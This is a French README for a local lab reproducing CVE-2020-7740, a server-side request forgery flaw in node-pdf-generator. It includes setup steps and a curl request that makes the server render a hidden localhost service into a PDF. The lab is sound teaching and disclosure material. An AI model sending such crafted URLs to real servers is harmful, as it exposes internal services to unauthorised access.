CVE-2020-7740

Ceci affecte toutes les versions du package node-pdf-generator. En raison du manque de validation et d'assainissement des entrées utilisateur sur le contenu fourni à node-pdf-generator, il est possible pour un attaquant de concevoir une URL qui sera transmise à un serveur externe, permettant une attaque SSRF.

Source

Démarrage rapide avec docker

1. Construisez le conteneur avec
2. Exécutez le conteneur avec docker run -p 3000:3000 cve-2020-7740
3. Remarquez que nous ne pouvons pas visiter localhost:3001 directement
4. Envoyez la requête avec curl en utilisant curl --location --request GET localhost:3000/test --data-raw http://localhost:3001 --output test.pdf
5. Consultez test.pdf pour voir le site web localhost qui est censé être masqué.

Démarrage rapide sans docker

1. Clonez le projet avec git clone {lien à insérer}
2. Installez les dépendances depuis https://wkhtmltopdf.org/
3. Lancez le serveur avec node .\NodePdfGeneratorServer le serveur fonctionnera sur localhost:3000
4. Installez les prérequis du serveur python caché avec python3 -m pip install -r requirements.txt
5. Lancez le serveur caché avec python3 HiddenService le serveur fonctionnera sur 'localhost:3001`

Comment cela fonctionne-t-il ?

1. Une requête GET avec un corps est envoyée au serveur. Cela peut être fait avec curl --location --request GET localhost:3000/test --data-raw http://www.google.com --output test.pdf
2. Cela enregistrera une copie de la page html de http://www.google.com dans le fichier test.pdf

Pourquoi est-ce vulnérable ?

1. D'autres URL fournies au serveur seront visitées par celui-ci afin de convertir le site web en PDF.
2. Cela permet à l'utilisateur de forger une requête serveur en donnant au serveur une adresse IP interne à cibler.

Plus d'informations sur le CVE-2020-7740

1. Vicarius.io
2. NVD
3. Dépôt original